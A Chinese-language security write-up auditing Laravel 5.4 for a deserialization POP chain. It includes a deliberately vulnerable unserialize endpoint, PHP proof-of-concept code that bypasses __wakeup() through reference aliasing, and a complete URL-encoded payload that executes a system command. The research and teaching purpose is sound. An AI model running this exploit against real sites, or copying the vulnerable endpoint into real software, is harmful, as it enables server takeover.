Laravel 5.4.*反序列化 —对冲__wakeup()的RCE链利用:

本次主要是对Laravel5.4.*的框架进行的代码审计,尝试挖掘其中可利用的POP链。

环境搭建:

对于Laravel 5.4.*的环境搭建,这里我主要用到的是Composer,因为Laravel这个框架其实和Composer联系比较深,对于框架都可以用Composer直接一个命令拉出来。

composer create-project --prefer-dist laravel/laravel laravel5.4 "5.4.*"

或者是在github上面下载Releases也可以:

https://github.com/laravel/laravel

这里的laravel5.4是生成文件名,后面的5.4.*则是版本号。

然后进行一系列操作,参考如下博客:

https://blog.csdn.net/qq78442761/article/details/124537501+

接下来还是常规操作,对于路由进行配置:

routes/web.php

添加:

Route::get("/","\App\Http\Controllers\POPController@test");

然后在Controller,控制器里添加用来反序列化的函数。

app/Http/Controllers/POPController.php
<?php
namespace App\Http\Controllers;

use Illuminate\Http\Request;

class POPController extends Controller{
    public function test(){
        if(isset($test)){
            $test = $_GET['test'];
            unserialize($test);
        }
        else{
            echo "No Data";
        }
    }
}

简单写一个反序列化函数,能够实现反序列化就可以了,注意一下命名空间。然后注意,写的那个函数名要和路由里的一样。

到这里,环境就已经搭建好了。

审计流程:

首先还是传统方式,找一个入口,这里直接用Seay进行扫描,生成一个全局的敏感函数的报告。

然后再用Seay自带的查找功能,去找一个合适的__destruct()作为反序列化的入口。

同时也可以找找看__wakeup()函数。

可以看见都挺多的,这里我们首先从__destruct()入手。

这里可以多找找,比如第一个

/vendor/fzaninotto/faker/src/Faker/Generator.php

这个地方跟进去,可以发现不是入口

这里可以看见,seed()函数,就是一个调用随机数的函数,没有看见利用点。

POP链:

这里直接看第二个,通过网上的一些资料可以知道这个是有问题的,这里我自己挖掘走一遍:

/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

找到destruct()方法:

这里有个dispath方法,关于这个方法,可以从这里看见描述,主要的作用是用于任务推送。

https://laravelacademy.org/post/22286

不过用处不大,可以直接跳过,这里直接看一下$this->event$this->events

这里两个变量都只有一个写入值,而且是__construct()方法中的,我们可以控制并调用$events来决定调用哪个类中的dispatch(),同时这里很显然$event的值是我们可以控制的,可以作为跳板,跳转到别的文件中。

这边可以找一下有没有好用的类里有dispatch()作为突破点,一番寻找下来没有看见,那就考虑一下$event

dispath()这个函数不会进行字符串的输出,所以不能以__toString()作为跳板,这里优先考虑一下,找一个没有dispatch()方法的类,通过这个方式去调用__call(),将$event作为参数,使用Seay进行全局搜索。

稍微有点多,87处。

这里我上网找了一下别的师傅的博客,这里大部分师傅都是调用的Generation里的__call()方法。我直接跟进一下。

这里看一下$method$attributes

可以发现只有一个赋值点,可以控制参数。

这里跟进一下函数

$method$attributes在这里作为call_user_func_array()函数的参数,进行使用。

call_user_func_array()这个函数是一个回调函数,格式是

call_user_func_array($function,$param[])

其中$function是用于指定调用函数的参数,而$param是作为参数的数组,返回值是布尔值,由回调的函数是否执行成功决定返回true或是false。

在当前函数中,$argument被控制的,而具体函数则是调用getFormatter函数的返回值,跟进一下getFormatter()

这里直接看第一个if就可以了,这个函数没有对输入做更多处理,只要存在输入,就会直接返还。因此可以知道这里是可以直接调用我们想要的函数。

这里就已经构成rce了,通过回调函数call_user_func_array()会造成任意代码执行。

这里总结一下利用逻辑:

编写不成功的POC:

不成功的POC。

<?php
namespace Illuminate\Broadcasting{
    class  PendingBroadcast{
        protected $events;
        protected $event;
        function __construct($events,$event){
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters;
        function __construct()
        {
            $formatters = ['dispatch'=>'system'];
        }
    }
}
namespace {
    $a = new Faker\Generator();
    $b = new Illuminate\Broadcasting\PendingBroadcast($a,'ls');
    echo(urlencode(serialize($b)));
}
?>

理论上来说,当执行了这个POC之后,就会执行ls命令。

问题:

不过这里会有一个问题,应该是Laravel官方在后续的更新里对这个版本进行了更新,然后通过一个__wakeup()$formatters置空了。

也就是说这条链子这里是死了,不能继续调用。

inHann师傅给出的解决思路:

但是这里应该还是存在一些解决方案的,当我看见这个__wakeup()的时候,首先考虑到的就是能不能改变对象的数量,然后通过CVE-2016-7124(__wakeup绕过),来进行绕过。

但是这里存在一个问题,对于Laravel 5.4.*,需要的PHP版本需要大于等于5.6.4

而这个CVE的影响范围却是,PHP5<5.6.25,PHP7<7.0.10,因此这个不在CVE使用的范围内。

但是后来我在P神的知识星球里面看到了一篇文章,是inHann师傅给出的思路,这里我尝试用于解决一下5.4.*版本的Laravel的__wakeup()绕过问题。

原文如下:

https://inhann.top/2022/05/17/bypass_wakeup/

这里我还是写一下个人理解以及需要的前置知识。

参考了:

https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/

https://www.neatstudio.com/show-161-1.shtml

前置知识:

PHP序列化与反序列化中的数据类型与引用方式(reference)

首先,我们知道在PHP中,使用serialize()函数对对象进行序列化的时候,会使用不同的字母将其中的变量的类型表示出来,例如:

<?php
class Demo{
    var $a;
    var $b;
    public function __construct(){
        $this->a = "String";
        $this->b = 1;
    }
}
$demo = new Demo();
echo serialize($demo);

其中O代表的对象,s代表字符串,i代表整形。

全部类型:

比较常见的类型都是数组之类的,但是其中有两个比较特殊的变量类型,r,R。这两个表示的是引用。

其中r表示的是对象引用,个人理解也可以说是对于标识符的引用。

而R表示的是指针引用,也就是直接引用指向对应内存地址的指针。

或者说:

当两个对象本来就是同一个对象时后出现的对象将会以小写r表示。

而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示

两者之间的区别就是,R等于是两个不同的变量名指向了同一块内存(或者说两个不同的变量名里面存了两个不一样的标识符,但是两个标识符都是同时指向同一个内存),因此任何一个变量被改变了,都会影响到所有变量的值。

而r是相当于直接重新开辟了一个内存,只是将值复制过来,然后保存。

第一个是浅拷贝,也就是相当于是PHP序列化中的R。

(如果变量a将[1,2,3]进行了更改,那么b的值自然也会进行更改)

第二个是深拷贝,也就是对应的r。

(变量a,b相互不影响)

这里我用程序演示一下:

<?php
class Demo{
    var $a;
    var $b;
    var $c;
    public function __construct(){
        $this->a = 'first';
        $this->b = 'second';
        $this->c = 'third';
    }
}
$d = new Demo();
echo (serialize($d)."\n");
$d->c = $d;
echo (serialize($d)."\n");
$d->c = $d->a;
echo (serialize($d)."\n");
$d->c = &$d->a;
echo (serialize($d));

运行结果如下:

这里需要注意的是,Demo这个类,应当被编号为1,所以第二个输出的结果是r:1。然后$a被标志为2,依次类推。

r:1表示的就是引用第一个值,也就是Demo。类似的,r:2就是a的值。

<?php
class SampleClass {
    var $value;
}
$a = new SampleClass();
$a->value = $a;
//O:11:"SampleClass":1:{s:5:"value";r:1;}

$b = new SampleClass();
$b->value = &$b;
//O:11:"SampleClass":1:{s:5:"value";R:1;}

$a->value = 1;
$b->value = 1;

var_dump($a);
var_dump($b);

可以看见在运行了之后,$a只是改变了$value的值,而$b是直接将本身的值改变了。

这个就是两者之间的差别。

同时,这种方式有一个特点,即使你不是通过serialize()函数或是Serializable接口进行的正规序列化,而是直接手写一个R:2上去,也同样可以完成对于对象的引用。

利用思想:

这里就出现了一个利用方式的思考,因为R方式的引用,可以使得两个不同的变量的值保持相同。

如果可以满足这个步骤:

  1. 使得被置空的$formatters变量,与某个类中的变量$bypass成为R的指针引用关系。
  2. $formatters被置空的时候,通过改变$bypass的值,即可对$formatters的值进行修改
  3. 在执行getFormatter()之前完成上述操作,就可以成功对冲那个__wakeup()函数了。

也就是说,最好能够找到一个赋值语句,且被赋值的语句是类中的成员属性。类似:

$this->a = xxx

这样,就可以进行序列化,然后直接修改$a的引用方式,使得其引用$formatters,然后对其进行重新赋值,达成绕过。

这里想要达成在__wakeup()之后重新赋值的操作,正常的想法,就是通过反序列化后,触发某个类中的__wakeup()方法来进行赋值,或是在销毁类的时候,调用其中的__destruct()方法,来进行操作。

这里全局搜索一下__wakeup()方法:

尝试1:

每一个都看了一下,感觉上/vendor/laravel/framework/src/Illuminate/Queue/SerializesModels.php比较有可能性:

public function __wakeup()
    {
        foreach ((new ReflectionClass($this))->getProperties() as $property) {
            $property->setValue($this, $this->getRestoredPropertyValue(
                $this->getPropertyValue($property)
            ));
        }
    }

这里使用了一个foreach()函数进行了遍历,这里可以看到,使用了PHP中的反射类ReflectionClass,这个类的作用是通过类名来获取类的成员属性和方法信息。这里的参数是$this,也就是获取对象中的成员属性,然后会作为ReflectionProperty类的数组返回其中的成员。

通过foreach()函数,将值依次赋给$property

然后调用了setValue()方法,这个是ReflectionProperty中自带的方法,用于对成员属性重新赋值,这里可以看到函数定义:

这里跟进一下getRestoredPropertyValue()方法,

第一个if会直接判断传入的参数是不是ModelIdentifier类中的成员属性,如果不是就会直接返回原值,到这里就够了,可以直接看下一步。

跟进一下getPropertyValue()

这里可以看到,就是直接调用了setAccessible()函数,保证这里可以访问保护或者是私有的属性,然后返回值。

本来这里应该是一个可以利用的点,但是因为这个类中没有定义成员变量,无法利用setValue()这一段。算是失败了。

尝试2:

因为上面看过了wakeup()函数暂时是没有可以利用点,这里重新看一下`destruct()`

看看能不能找到什么可以利用的点。

这里找到了一个疑似可以利用的地方:

\vendor\sebastian\recursion-context\src\Context.php

这里可以看到,作为私有属性定义的$arrays变量,只有通过__construct()方法进行赋值,或者是调用addArray()函数,进行属性的添加。因此我们可以对这个数组的内容进行操作。

但是,虽然可以对数组进行操作,但是我们不能对$array变量进行操作操作,因此不能使它对$formatters变量进行引用,也就不能利用了。

如果这里对$array进行了成员属性的定义,就是一个可以利用的点。

尝试3:

这里还有一个疑似可以利用的地方:

\vendor\symfony\routing\Loader\Configurator\CollectionConfigurator.php

这里可以看见成员属性$this->collection被新建为了RouteCollection类的对象,然后在__destruct()中,进行了方法调用。

这里跟进一下addPrefix方法,这里看名字应该是某个添加什么东西的方法。

public function addPrefix($prefix, array $defaults = [], array $requirements = [])
    {
        $prefix = trim(trim($prefix), '/');

        if ('' === $prefix) {
            return;
        }

        foreach ($this->routes as $route) {
            $route->setPath('/'.$prefix.$route->getPath());
            $route->addDefaults($defaults);
            $route->addRequirements($requirements);
        }
    }

这里对$prefix参数进行了处理,将字符串左右的空白制表等符号,还有/去除,如果去除完了之后是空,则直接返回。如果不是,则对RouteCollection中的成员属性进行foreach()遍历。

这里跟进一下setPath()

这里可以看到$this->path,这里有一个外面的/,没办法去除,绕不过。不然可以尝试去修改$formatters

接下来看看addDefaults方法。

其中$this->defaults的值是我们可以控制的,如果对传入的参数我们可以完全控制的话,$name$default也都是我们可以控制的内容,这里就算是打通了。

也就是通过数组的相互引用来修改$formatters的值,具体操作思路如下:

//思路:
<?php
class Demo{
    public $a = [];
    public $default = [];
    public $array;
    public function __construct(){
        $this->a = array("a","b");
        $this->array = array(1,2,3,4,5);
    }
    public function __wakeup(){
        var_dump($this->a);
        echo "\n";
        var_dump($this->default);
        foreach($this->array as $name=>$value){
            $this->default[$name] = $value;
            var_dump($this->default[$name]);
        }
        var_dump($this->a);
    }
}
$demo = new Demo();
echo serialize($demo);
unserialize('O:4:"Demo":3:{s:1:"a";a:2:{i:0;s:1:"a";i:1;s:1:"b";}s:7:"default";R:2;s:5:"array";a:5:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;}}');
//注意看default后面那个R:2,这里是引用了$a的值。

输出结果如上,可以看到$a的值,从["a","b"],变成了[1,2,3,4,5]这里可以实现修改。同样的,对于$formatters也可以进行这样的操作。

回头看一下$defaults值的获取。

麻了,是不能传递参数的一个形参,这里用不了。

下面的addRequirements()函数也是同理,都是不能传递参数的一个形参,无法调用。

再回头看一下addCollection()这部分:

这部分可以看到调用了一个函数,直接跟进一下。这个是RouteCollection类中的方法。

这里可以看到用的是传入的类中的参数,调用了其中的all()函数,这里跟进一下:

可以看到这里关于$routes变量的赋值,是我们可以操控的。

这里这个函数的foreach()部分,和之前分析的基本一样,因此这里应该是可以打通的。

构造POC:

用之前的POC来进行修改:

这里注意要利用__wakeup()__destruct()执行的顺序差。

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
    class CollectionConfigurator{
        public function __construct(){
            $this->parent = new \Symfony\Component\Routing\RouteCollection();
            $this->collection = new \Symfony\Component\Routing\RouteCollection();
            $this->route = new \Symfony\Component\Routing\Route();
            $this->parentConfigurator = new \Illuminate\Broadcasting\PendingBroadcast();
        }
    }
}
namespace Symfony\Component\Routing{

    use Traversable;

    class RouteCollection implements \IteratorAggregate, \Countable{
        public function __construct(){
            $this->routes = array("dispatch"=>"system");
        }
        public function getIterator()
        {
            // TODO: Implement getIterator() method.
        }
        public function count()
        {
            // TODO: Implement count() method.
        }
    }
    class Route implements \Serializable
    {
        public function __construct()
        {
            $this->path = '////';  //这里被trim了之后会直接为空,进入return,主要是为了方便
        }

        public function serialize()
        {
            return serialize([
                'path' => $this->path,
                'host' => $this->host,
                'defaults' => $this->defaults,
                'requirements' => $this->requirements,
                'options' => $this->options,
                'schemes' => $this->schemes,
                'methods' => $this->methods,
                'condition' => $this->condition,
                'compiled' => $this->compiled,
            ]);
        }

        public function unserialize($data)
        {
            // TODO: Implement unserialize() method.
        }
    }
}
namespace Illuminate\Broadcasting{
    class  PendingBroadcast{
        protected $events;
        protected $event;
        function __construct(){
            $this->events = new \Faker\Generator();
            $this->event = 'calc.exe'; //执行的命令在这里,修改了就可以
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters;
        protected $providers;
        public function __construct()
        {
            $this->formatters = ['useless'];
        }
    }
}
namespace {
    $POC = new Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator();
    echo urlencode(str_replace('363','333',str_replace('a:1:{i:0;s:7:"useless";}', 'R:3;', serialize($POC))));
}

(有点丑,sorry)

然后输出的结果是:

Payload:

O%3A68%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CCollectionConfigurator%22%3A4%3A%7Bs%3A6%3A%22parent%22%3BO%3A41%3A%22Symfony%5CComponent%5CRouting%5CRouteCollection%22%3A1%3A%7Bs%3A6%3A%22routes%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A10%3A%22collection%22%3BO%3A41%3A%22Symfony%5CComponent%5CRouting%5CRouteCollection%22%3A1%3A%7Bs%3A6%3A%22routes%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A5%3A%22route%22%3BC%3A31%3A%22Symfony%5CComponent%5CRouting%5CRoute%22%3A163%3A%7Ba%3A9%3A%7Bs%3A4%3A%22path%22%3Bs%3A4%3A%22%2F%2F%2F%2F%22%3Bs%3A4%3A%22host%22%3BN%3Bs%3A8%3A%22defaults%22%3BN%3Bs%3A12%3A%22requirements%22%3BN%3Bs%3A7%3A%22options%22%3BN%3Bs%3A7%3A%22schemes%22%3BN%3Bs%3A7%3A%22methods%22%3BN%3Bs%3A9%3A%22condition%22%3BN%3Bs%3A8%3A%22compiled%22%3BN%3B%7D%7Ds%3A18%3A%22parentConfigurator%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3BR%3A3%3Bs%3A12%3A%22%00%2A%00providers%22%3BN%3B%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A8%3A%22calc.exe%22%3B%7D%7D

演示:

到这里就算是告一段落了。

利用链梳理:

总结:

这条链子主要是因为inHann师傅在他的研究里给出的是一个依赖里的链子,所以我想看看在Laravel里面有没有可以不通过依赖直接利用的那个__wakeup()的地方,然后捣腾出来的。之前看了一些博客,说这里被__wakeup()的置空给堵死了,但其实还是有办法利用的。

(其实感觉有点属于屠龙之技,没什么用,主要还是给师傅们提供一个思路吧hhh,希望师傅们轻喷。)

这一次审计主要学到的还是这个对冲的操作在POP链中的利用方式,这个做法还是很灵活的。

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖